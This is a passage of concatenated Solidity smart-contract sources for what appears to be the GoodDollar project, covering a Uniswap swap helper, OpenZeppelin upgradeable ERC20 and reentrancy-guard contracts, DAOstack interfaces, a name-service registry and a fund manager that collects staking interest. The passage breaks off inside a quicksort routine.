*@param _inTokenAmount amount of in token required to swap
*@param _maxLiquidityPercentageSwap max percentage of liquidity to swap to token
* when swapping tokens and this value is out of 100000 so for example if you want to set it to 0.3 you need set it to 300
*/
function maxSafeTokenAmount(
IHasRouter _iHasRouter,
address _inToken,
address _outToken,
uint256 _inTokenAmount,
uint256 _maxLiquidityPercentageSwap
) public view returns (uint256 safeAmount) {
Uniswap uniswap = _iHasRouter.getRouter();
address wETH = uniswap.WETH();
_inToken = _inToken == address(0x0) ? wETH : _inToken;
_outToken = _outToken == address(0x0) ? wETH : _outToken;
UniswapPair pair = UniswapPair(
UniswapFactory(uniswap.factory()).getPair(_inToken, _outToken)
);
(uint112 reserve0, uint112 reserve1, ) = pair.getReserves();
uint112 reserve = reserve0;
if (_inToken == pair.token1()) {
reserve = reserve1;
}
safeAmount = (reserve * _maxLiquidityPercentageSwap) / 100000;
return safeAmount < _inTokenAmount ? safeAmount : _inTokenAmount;
}
/**
@dev Helper to swap tokens in the Uniswap
*@param _path the buy path
*@param _tokenAmount token amount to swap
*@param _minTokenReturn minimum token amount to get in swap transaction
*@param _receiver receiver of tokens after swap transaction
*
*/
function swap(
IHasRouter _iHasRouter,
address[] memory _path,
uint256 _tokenAmount,
uint256 _minTokenReturn,
address _receiver
) internal returns (uint256 swapResult) {
Uniswap uniswapContract = _iHasRouter.getRouter();
uint256[] memory result;
if (_path[0] == address(0x0)) {
_path[0] = uniswapContract.WETH();
result = uniswapContract.swapExactETHForTokens{ value: _tokenAmount }(
_minTokenReturn,
_path,
_receiver,
block.timestamp
);
} else if (_path[_path.length - 1] == address(0x0)) {
_path[_path.length - 1] = uniswapContract.WETH();
result = uniswapContract.swapExactTokensForETH(
_tokenAmount,
_minTokenReturn,
_path,
_receiver,
block.timestamp
);
} else {
result = uniswapContract.swapExactTokensForTokens(
_tokenAmount,
_minTokenReturn,
_path,
_receiver,
block.timestamp
);
}
return result[result.length - 1];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20Upgradeable.sol";
import "./extensions/IERC20MetadataUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
uint256[45] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
interface Avatar {
function nativeToken() external view returns (address);
function nativeReputation() external view returns (address);
function owner() external view returns (address);
}
interface Controller {
event RegisterScheme(address indexed _sender, address indexed _scheme);
event UnregisterScheme(address indexed _sender, address indexed _scheme);
function genericCall(
address _contract,
bytes calldata _data,
address _avatar,
uint256 _value
) external returns (bool, bytes memory);
function avatar() external view returns (address);
function unregisterScheme(address _scheme, address _avatar)
external
returns (bool);
function unregisterSelf(address _avatar) external returns (bool);
function registerScheme(
address _scheme,
bytes32 _paramsHash,
bytes4 _permissions,
address _avatar
) external returns (bool);
function isSchemeRegistered(address _scheme, address _avatar)
external
view
returns (bool);
function getSchemePermissions(address _scheme, address _avatar)
external
view
returns (bytes4);
function addGlobalConstraint(
address _constraint,
bytes32 _paramHash,
address _avatar
) external returns (bool);
function mintTokens(
uint256 _amount,
address _beneficiary,
address _avatar
) external returns (bool);
function externalTokenTransfer(
address _token,
address _recipient,
uint256 _amount,
address _avatar
) external returns (bool);
function sendEther(
uint256 _amountInWei,
address payable _to,
address _avatar
) external returns (bool);
}
interface GlobalConstraintInterface {
enum CallPhase {
Pre,
Post,
PreAndPost
}
function pre(
address _scheme,
bytes32 _params,
bytes32 _method
) external returns (bool);
/**
* @dev when return if this globalConstraints is pre, post or both.
* @return CallPhase enum indication Pre, Post or PreAndPost.
*/
function when() external returns (CallPhase);
}
interface ReputationInterface {
function balanceOf(address _user) external view returns (uint256);
function balanceOfAt(address _user, uint256 _blockNumber)
external
view
returns (uint256);
function getVotes(address _user) external view returns (uint256);
function getVotesAt(
address _user,
bool _global,
uint256 _blockNumber
) external view returns (uint256);
function totalSupply() external view returns (uint256);
function totalSupplyAt(uint256 _blockNumber)
external
view
returns (uint256);
function delegateOf(address _user) external returns (address);
}
interface SchemeRegistrar {
function proposeScheme(
Avatar _avatar,
address _scheme,
bytes32 _parametersHash,
bytes4 _permissions,
string memory _descriptionHash
) external returns (bytes32);
event NewSchemeProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
address _scheme,
bytes32 _parametersHash,
bytes4 _permissions,
string _descriptionHash
);
}
interface IntVoteInterface {
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(
bytes32 indexed _proposalId,
address indexed _organization
);
event CancelVoting(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter
);
/**
* @dev register a new proposal with the given parameters. Every proposal has a unique ID which is being
* generated by calculating keccak256 of a incremented counter.
* @param _numOfChoices number of voting choices
* @param _proposalParameters defines the parameters of the voting machine used for this proposal
* @param _proposer address
* @param _organization address - if this address is zero the msg.sender will be used as the organization address.
* @return proposal's id.
*/
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns (bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
) external returns (bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId)
external
view
returns (uint256);
function isVotable(bytes32 _proposalId) external view returns (bool);
/**
* @dev voteStatus returns the reputation voted for a proposal for a specific voting choice.
* @param _proposalId the ID of the proposal
* @param _choice the index in the
* @return voted reputation for the given choice
*/
function voteStatus(bytes32 _proposalId, uint256 _choice)
external
view
returns (uint256);
/**
* @dev isAbstainAllow returns if the voting machine allow abstain (0)
* @return bool true or false
*/
function isAbstainAllow() external pure returns (bool);
/**
* @dev getAllowedRangeOfChoices returns the allowed range of choices for a voting machine.
* @return min - minimum number of choices
max - maximum number of choices
*/
function getAllowedRangeOfChoices()
external
pure
returns (uint256 min, uint256 max);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "../DAOStackInterfaces.sol";
/**
@title Simple name to address resolver
*/
contract NameService is Initializable, UUPSUpgradeable {
mapping(bytes32 => address) public addresses;
Controller public dao;
event AddressChanged(string name ,address addr);
function initialize(
Controller _dao,
bytes32[] memory _nameHashes,
address[] memory _addresses
) public virtual initializer {
dao = _dao;
for (uint256 i = 0; i < _nameHashes.length; i++) {
addresses[_nameHashes[i]] = _addresses[i];
}
addresses[keccak256(bytes("CONTROLLER"))] = address(_dao);
addresses[keccak256(bytes("AVATAR"))] = address(_dao.avatar());
}
function _authorizeUpgrade(address) internal override {
_onlyAvatar();
}
function _onlyAvatar() internal view {
require(
address(dao.avatar()) == msg.sender,
"only avatar can call this method"
);
}
function setAddress(string memory name, address addr) external {
_onlyAvatar();
addresses[keccak256(bytes(name))] = addr;
emit AddressChanged(name, addr);
}
function setAddresses(bytes32[] calldata hash, address[] calldata addrs)
external
{
_onlyAvatar();
for (uint256 i = 0; i < hash.length; i++) {
addresses[hash[i]] = addrs[i];
}
}
function getAddress(string memory name) external view returns (address) {
return addresses[keccak256(bytes(name))];
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "../DAOStackInterfaces.sol";
import "../Interfaces.sol";
/**
@title Simple contract that keeps DAO contracts registery
*/
contract DAOContract {
Controller public dao;
address public avatar;
INameService public nameService;
function _onlyAvatar() internal view {
require(
address(dao.avatar()) == msg.sender,
"only avatar can call this method"
);
}
function setDAO(INameService _ns) internal {
nameService = _ns;
updateAvatar();
}
function updateAvatar() public {
dao = Controller(nameService.getAddress("CONTROLLER"));
avatar = dao.avatar();
}
function nativeToken() public view returns (IGoodDollar) {
return IGoodDollar(nameService.getAddress("GOODDOLLAR"));
}
uint256[50] private gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "../reserve/GoodReserveCDai.sol";
import "../Interfaces.sol";
import "../utils/DSMath.sol";
import "../utils/DAOUpgradeableContract.sol";
/**
* @title GoodFundManager contract that transfer interest from the staking contract
* to the reserve contract and transfer the return mintable tokens to the staking
* contract
* cDAI support only
*/
contract GoodFundManager is DAOUpgradeableContract, DSMath {
// timestamp that indicates last time that interests collected
uint256 public lastCollectedInterest;
//just for UI to easily find last event
uint256 public lastCollectedInterestBlock;
// Gas cost for mint ubi+bridge ubi+mint rewards
uint256 public gasCostExceptInterestCollect;
// Gas cost for minting GD for keeper
uint256 public gdMintGasCost;
// how much time since last collectInterest should pass in order to cancel gas cost multiplier requirement for next collectInterest
uint256 public collectInterestTimeThreshold;
// to allow keeper to collect interest, total interest collected should be interestMultiplier*gas costs
uint8 public interestMultiplier;
//min amount of days between interest collection
uint8 public minCollectInterestIntervalDays;
//address of the active staking contracts
address[] public activeContracts;
event GasCostSet(uint256 newGasCost);
event CollectInterestTimeThresholdSet(
uint256 newCollectInterestTimeThreshold
);
event InterestMultiplierSet(uint8 newInterestMultiplier);
event GasCostExceptInterestCollectSet(
uint256 newGasCostExceptInterestCollect
);
event StakingRewardSet(
uint32 _rewardsPerBlock,
address _stakingAddress,
uint32 _blockStart,
uint32 _blockEnd,
bool _isBlackListed
);
//Structure that hold reward information and if its blacklicksted or not for particular staking Contract
struct Reward {
uint32 blockReward; //in G$
uint64 blockStart; // # of the start block to distribute rewards
uint64 blockEnd; // # of the end block to distribute rewards
bool isBlackListed; // If staking contract is blacklisted or not
}
struct InterestInfo {
address contractAddress; // staking contract address which interest will be collected
uint256 interestBalance; // Interest amount that staking contract has
uint256 collectedInterestSoFar; // Collected interest amount so far including this contract
uint256 gasCostSoFar; // Spent gas amount so far including this contract
uint256 maxGasAmountSoFar; // Max gas amount that can spend to collect this interest according to interest amount
bool maxGasLargerOrEqualRequired; // Bool that indicates if max gas amount larger or equal to actual gas needed
}
// Rewards per block for particular Staking contract
mapping(address => Reward) public rewardsForStakingContract;
// Emits when `transferInterest` transfers
// funds to the staking contract and to
// the bridge
event FundsTransferred(
// The caller address
address indexed caller,
// The staking contract address
//address indexed staking,
// The reserve contract address
address reserve,
//addresses of the staking contracts
address[] stakings,
// Amount of cDai that was transferred
// from the staking contract to the
// reserve contract
uint256 cDAIinterestEarned,
// The number of tokens that have been minted
// by the reserve to the staking contract
//uint256 gdInterest,
// The number of tokens that have been minted
// by the reserve to the bridge which in his
// turn should transfer those funds to the
// sidechain
uint256 gdUBI,
// Amount of GD to be minted as reward
//to the keeper which collect interests
uint256 gdReward
);
event StakingRewardMinted(
address stakingContract,
address staker,
uint256 gdReward
);
/**
* @dev Constructor
* @param _ns The address of the name Service
*/
function initialize(INameService _ns) public virtual initializer {
setDAO(_ns);
gdMintGasCost = 250000; // While testing highest amount was 240k so put 250k to be safe
collectInterestTimeThreshold = 60 days;
interestMultiplier = 4;
gasCostExceptInterestCollect = 850000; //while testing highest amount was 800k so put 850k to be safe
minCollectInterestIntervalDays = 7;
}
/**
* @dev Set gas cost to mint GD rewards for keeper
* @param _gasAmount amount of gas it costs for minting gd reward
*/
function setGasCost(uint256 _gasAmount) public {
_onlyAvatar();
gdMintGasCost = _gasAmount;
emit GasCostSet(_gasAmount);
}
/**
* @dev Set collectInterestTimeThreshold to determine how much time should pass after collectInterest called
* after which we ignore the interest>=multiplier*gas costs limit
* @param _timeThreshold new threshold in seconds
*/
function setCollectInterestTimeThreshold(uint256 _timeThreshold) public {
_onlyAvatar();
collectInterestTimeThreshold = _timeThreshold;
emit CollectInterestTimeThresholdSet(_timeThreshold);
}
/**
* @dev Set multiplier to determine how much times larger should be collected interest than spent gas when collectInterestTimeThreshold did not pass
*/
function setInterestMultiplier(uint8 _newMultiplier) public {
_onlyAvatar();
interestMultiplier = _newMultiplier;
emit InterestMultiplierSet(_newMultiplier);
}
/**
* @dev Set Gas cost for required transactions after collecting interest in collectInterest function
* we need this to know if caller has enough gas left to keep collecting interest
* @dev _gasAmount The gas amount that needed for transactions
*/
function setGasCostExceptInterestCollect(uint256 _gasAmount) public {
_onlyAvatar();
gasCostExceptInterestCollect = _gasAmount;
emit GasCostExceptInterestCollectSet(_gasAmount);
}
/**
* @dev Sets the Reward for particular Staking contract
* @param _rewardsPerBlock reward for per block
* @param _stakingAddress address of the staking contract
* @param _blockStart block number for start reward distrubution
* @param _blockEnd block number for end reward distrubition
* @param _isBlackListed set staking contract blacklisted or not to prevent minting
*/
function setStakingReward(
uint32 _rewardsPerBlock,
address _stakingAddress,
uint32 _blockStart,
uint32 _blockEnd,
bool _isBlackListed
) public {
_onlyAvatar();
//we dont allow to undo blacklisting as it will mess up rewards accounting.
//staking contracts are assumed immutable and thus non fixable
require(
(_isBlackListed ||
!rewardsForStakingContract[_stakingAddress].isBlackListed),
"can't undo blacklisting"
);
Reward memory reward = Reward(
_rewardsPerBlock,
_blockStart > 0 ? _blockStart : uint32(block.number),
_blockEnd > 0 ? _blockEnd : 0xFFFFFFFF,
_isBlackListed
);
rewardsForStakingContract[_stakingAddress] = reward;
bool exist;
uint8 i;
for (i = 0; i < activeContracts.length; i++) {
if (activeContracts[i] == _stakingAddress) {
exist = true;
break;
}
}
if (exist && (_isBlackListed || _rewardsPerBlock == 0)) {
activeContracts[i] = activeContracts[activeContracts.length - 1];
activeContracts.pop();
} else if (!exist && !(_isBlackListed || _rewardsPerBlock == 0)) {
activeContracts.push(_stakingAddress);
}
emit StakingRewardSet(
_rewardsPerBlock,
_stakingAddress,
_blockStart,
_blockEnd,
_isBlackListed
);
}
/**
* @dev Collects UBI interest in iToken from a given staking contract and transfers
* that interest to the reserve contract. Then transfers the given gd which
* received from the reserve contract back to the staking contract and to the
* bridge, which locks the funds and then the GD tokens are been minted to the
* given address on the sidechain
* @param _stakingContracts from which contracts to collect interest
* @param _forceAndWaiverRewards if set to true, it will collect interest even if not passed thershold, but will not reward caller with gas refund + reward
*/
function collectInterest(
address[] calldata _stakingContracts,
bool _forceAndWaiverRewards
) external {
uint256 initialGas = gasleft();
uint256 gdUBI;
uint256 interestInCdai;
address reserveAddress;
{
// require(
// block.timestamp >= lastCollectedInterest + minCollectedInterestIntervalDays * days,
// "collectInterest: collect interval not passed"
// );
//prevent stack too deep
cERC20 iToken = cERC20(nameService.getAddress("CDAI"));
ERC20 daiToken = ERC20(nameService.getAddress("DAI"));
reserveAddress = nameService.getAddress("RESERVE");
// DAI balance of the reserve contract
uint256 currentBalance = daiToken.balanceOf(reserveAddress);
uint256 startingCDAIBalance = iToken.balanceOf(reserveAddress);
for (uint256 i = _stakingContracts.length - 1; i >= 0; i--) {
// elements are sorted by balances from lowest to highest
if (_stakingContracts[i] != address(0x0)) {
IGoodStaking(_stakingContracts[i]).collectUBIInterest(reserveAddress);
}
if (i == 0) break; // when active contracts length is 1 then gives error
}
// Finds the actual transferred DAI
uint256 daiToConvert = daiToken.balanceOf(reserveAddress) -
currentBalance;
// Mints gd while the interest amount is equal to the transferred amount
(gdUBI, interestInCdai) = GoodReserveCDai(reserveAddress).mintUBI(
daiToConvert,
startingCDAIBalance,
iToken
);
IGoodDollar token = IGoodDollar(nameService.getAddress("GOODDOLLAR"));
if (gdUBI > 0) {
//transfer ubi to avatar on sidechain via bridge
require(
token.transferAndCall(
nameService.getAddress("BRIDGE_CONTRACT"),
gdUBI,
abi.encodePacked(nameService.getAddress("UBI_RECIPIENT"))
),
"ubi bridge transfer failed"
);
}
}
uint256 gdRewardToMint;
if (_forceAndWaiverRewards == false) {
uint256 totalUsedGas = ((initialGas - gasleft() + gdMintGasCost) * 110) /
100; // We will return as reward 1.1x of used gas in GD
gdRewardToMint = getGasPriceInGD(totalUsedGas);
GoodReserveCDai(reserveAddress).mintRewardFromRR(
nameService.getAddress("CDAI"),
msg.sender,
gdRewardToMint
);
uint256 gasPriceIncDAI = getGasPriceIncDAIorDAI(
initialGas - gasleft(),
false
);
if (
block.timestamp >= lastCollectedInterest + collectInterestTimeThreshold
) {
require(
interestInCdai >= gasPriceIncDAI,
"Collected interest value should be larger than spent gas costs"
); // This require is necessary to keeper can not abuse this function
} else {
require(
interestInCdai >= interestMultiplier * gasPriceIncDAI,
"Collected interest value should be interestMultiplier x gas costs"
);
}
}
emit FundsTransferred(
msg.sender,
reserveAddress,
_stakingContracts,
interestInCdai,
gdUBI,
gdRewardToMint
);
lastCollectedInterest = block.timestamp;
lastCollectedInterestBlock = block.number;
}
/**
* @dev Function that get interest informations of staking contracts in the sorted array by highest interest to lowest interest amount
* @return array of interestInfo struct
*/
function calcSortedContracts() public view returns (InterestInfo[] memory) {
address[] memory addresses = new address[](activeContracts.length);
uint256[] memory balances = new uint256[](activeContracts.length);
InterestInfo[] memory interestInfos = new InterestInfo[](
activeContracts.length
);
uint256 tempInterest;
int256 i;
for (i = 0; i < int256(activeContracts.length); i++) {
(, , , , tempInterest) = IGoodStaking(activeContracts[uint256(i)])
.currentGains(false, true);
if (tempInterest != 0) {
addresses[uint256(i)] = activeContracts[uint256(i)];
balances[uint256(i)] = tempInterest;
}
}
uint256 usedGasAmount = gasCostExceptInterestCollect;
quick(balances, addresses); // sort the values according to interest balance
uint256 gasCost;
uint256 possibleCollected;
uint256 maxGasAmount;
for (i = int256(activeContracts.length) - 1; i >= 0; i--) {
// elements are sorted by balances from lowest to highest
if (addresses[uint256(i)] != address(0x0)) {
gasCost = IGoodStaking(addresses[uint256(i)])
.getGasCostForInterestTransfer();
// collects the interest from the staking contract and transfer it directly to the reserve contract
//`collectUBIInterest` returns (iTokengains, tokengains, precission loss, donation ratio)
possibleCollected += balances[uint256(i)];
usedGasAmount += gasCost;
maxGasAmount = block.timestamp >=
lastCollectedInterest + collectInterestTimeThreshold
? (possibleCollected * 1e10) / getGasPriceIncDAIorDAI(1, true)
: (possibleCollected * 1e10) /
(interestMultiplier * getGasPriceIncDAIorDAI(1, true));
interestInfos[uint256(i)] = InterestInfo({
contractAddress: addresses[uint256(i)],
interestBalance: balances[uint256(i)],
collectedInterestSoFar: possibleCollected,
gasCostSoFar: usedGasAmount,
maxGasAmountSoFar: maxGasAmount,
maxGasLargerOrEqualRequired: maxGasAmount >= usedGasAmount
});
} else {
break; // if addresses are null after this element then break because we initialize array in size activecontracts but if their interest balance is zero then we dont put it in this array
}
}
return interestInfos;
}
/**
* @dev Mint to users reward tokens which they earned by staking contract
* @param _token reserve token (currently can be just cDAI)
* @param _user user to get rewards
*/
function mintReward(address _token, address _user) public {
Reward memory staking = rewardsForStakingContract[address(msg.sender)];
require(staking.blockStart > 0, "Staking contract not registered");
uint256 amount = IGoodStaking(address(msg.sender)).rewardsMinted(
_user,
staking.blockReward,
staking.blockStart,
staking.blockEnd
);
if (amount > 0 && staking.isBlackListed == false) {
GoodReserveCDai(nameService.getAddress("RESERVE")).mintRewardFromRR(
_token,
_user,
amount
);
emit StakingRewardMinted(msg.sender, _user, amount);
}
}
/// quick sort
function quick(uint256[] memory data, address[] memory addresses)
internal
pure
{
if (data.length > 1) {
quickPart(data, addresses, 0, data.length - 1);
}
}
/**
@dev quicksort algorithm to sort array
*/
function quickPart(
uint256[] memory data,
address[] memory addresses,
uint256 low,
uint256 high
) internal pure {
if (low < high) {
uint256 pivotVal = data[(low + high) / 2];
uint256 low1 = low;
uint256 high1 = high;
for (;;) {
while (data[low1] < pivotVal) low1++;
while (data[high1] > pivotVal) high1--;
if (low1 >= high1) break;
(data[low1], data[high1]) = (data[high1], data[low1]);
(addresses[low1], addresses[high1]) = (
addresses[high1],
addresses[low1]
);
low1++;
high1--;
}
